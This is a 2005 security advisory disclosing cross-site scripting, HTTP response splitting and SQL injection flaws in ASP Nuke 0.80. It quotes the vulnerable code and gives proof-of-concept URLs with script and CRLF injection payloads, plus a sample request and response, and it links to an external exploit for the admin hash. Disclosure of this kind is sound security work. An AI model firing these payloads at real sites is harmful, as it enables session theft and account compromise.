M4DR007-07SA (security advisory): Multiple vulnerabilities in ASP Nuke 0.80

[Alberto Trivero]

M4DR007-07SA (security advisory): Multiple vulnerabilities in ASP Nuke 0.80

Published: 26 16 2005
Released: 26 16 2005
Name: ASP Nuke
Affected Systems: <= 0.80
Issue: Cross-Site Scripting, HTTP Response Splitting, SQL Injection
Author: Alberto Trivero
Vendor: http://www.aspnuke.com/



Software Description

***********


"ASP Nuke is an open-source software application for running a
community-based web site on a web server. By open-source, we mean the code
is freely available for others to read, modify and use in accordance with
the software license. ASP Nuke is an extensible framework that allows you to
upgrade and add applications to the website quickly and easily. It uses a
modular architecture allowing others to rapidly develop new modules and site
operators to re-organize the layout and navigation for their site."



Cross-Site Scripting (XSS)

***********


Let's look at code from /module/account/register/forgot_password.asp at line
33 and 103:

<?
...
sEmail = steForm("Email")
...
<TR>
<TD class="forml">
<% steTxt "E-Mail" %> (req)<BR>
<INPUT TYPE="text" NAME="email" VALUE="<%= sEmail %>" SIZE="22"
MAXLENGTH="80" class="form">
</TD>
</TR>
<TR>
...
?>

As we can see there isn't any control on the 'email' parameter when the
board get it's value.
Since the value of the parameter is put in the HTML page as is, an attacker
can do an XSS attack with an URL like this:


http://www.example.com/module/account/register/forgot_password.asp?email=%22
%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E

On the same line there are others parameters that aren't properly sanitised.
These are some PoC URLs:


http://www.example.com/module/account/register/register.asp?FirstName=%22%3E
%3Cscript%3Ealert(document.cookie)%3C/script%3E

http://www.example.com/module/account/register/register.asp?LastName=%22%3E%
3Cscript%3Ealert(document.cookie)%3C/script%3E

http://www.example.com/module/account/register/register.asp?Username=%22%3E%
3Cscript%3Ealert(document.cookie)%3C/script%3E

http://www.example.com/module/account/register/register.asp?Password=%22%3E%
3Cscript%3Ealert(document.cookie)%3C/script%3E

http://www.example.com/module/account/register/register.asp?Address1=%22%3E%
3Cscript%3Ealert(document.cookie)%3C/script%3E

http://www.example.com/module/account/register/register.asp?Address2=%22%3E%
3Cscript%3Ealert(document.cookie)%3C/script%3E

http://www.example.com/module/account/register/register.asp?City=%22%3E%3Csc
ript%3Ealert(document.cookie)%3C/script%3E

http://www.example.com/module/account/register/register.asp?ZipCode=%22%3E%3
Cscript%3Ealert(document.cookie)%3C/script%3E

http://www.example.com/module/account/register/register.asp?Email=%22%3E%3Cs
cript%3Ealert(document.cookie)%3C/script%3E



HTTP Response Splitting

***********


Let's look at code from /module/support/language/language_select.asp at line
31:

<?
...
If steForm("action") = "go" Then
' make sure the required fields are present
If Trim(steForm("LangCode")) = "" Then
sErrorMsg = steGetText("Please select a language from the list
below")
Else
' redirect to the language administration
Response.Redirect "tran_list.asp?langcode=" &
steEncForm("LangCode")
End If
End If
...
?>

When the redirect, that this piece of code do, happend, it's possibile to do
a CRLF injection attack thanks to an unexisting sanitisation. This is a Poc
URL:


http://www.example.com/module/support/language/language_select.asp?action=go
&LangCode=trivero%0d%0aSet-Cookie%3Asome%3Dvalue

These are examples of HTTP headers:

Request:
POST
/module/support/language/language_select.asp?action=go&LangCode=trivero%0d%0
aSet-Cookie%3Asome%3Dvalue HTTP/1.0
Accept: */*
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Host: www.aspnuke.com
Content-Length: 90
Cookie: ASPSESSIONIDSCRDCDAD=NMDFFFJBFMLBNDNFJDFGAGPP;LANG UAGE=US
Connection: Close

Response:
HTTP/1.1 302 Object moved
Server: Microsoft-IIS/5.0
Date: Sun, 15 May 2005 11:31:37 GMT
Pragma: no-cache
Location: tran_list.asp?langcode=trivero
Set-Cookie: some=value
Connection: Keep-Alive
Content-Length: 121
Content-Type: text/html
Expires: Sun, 15 May 2005 11:30:38 GMT
Cache-control: no-cache



SQL Injection

***********


Let's look at code from /module/support/task/comment_post.asp at line 36 and
75:

<?
...
nTaskID = steNForm("TaskID")
...
If sErrorMsg = "" Then
' prevent dup posting here
sStat = "SELECT TaskID " &_
"FROM tblTaskComment " &_
"WHERE TaskID = " & nTaskID & " " &_
"AND Subject = '" & Replace(sSubject, "'", "''") & "' " &_
"AND Body LIKE '" & Replace(sBody, "'", "''") & "'"
...
?>

As we can see there isn't any control on the 'TaskID' parameter when the
board get it's value. Since the value of the parameter is put in the SQL
query without sanitisation, an attacker can do an SQL injection attack. I've
made an exploit for this vulnerability that it's able to recover the admin's
username and the SHA256 hash of his password available at this address:
http://albythebest.altervista.org/aspnuke.pl



Solution

***********


The vendor has been contacted many times but a patch was not yet produced.



Alberto Trivero - trivero@jumpy.it
Come cheer us at #security-it on Freenode ( irc.freenode.net )
(C) 2005 Copyright by Madroot Security Group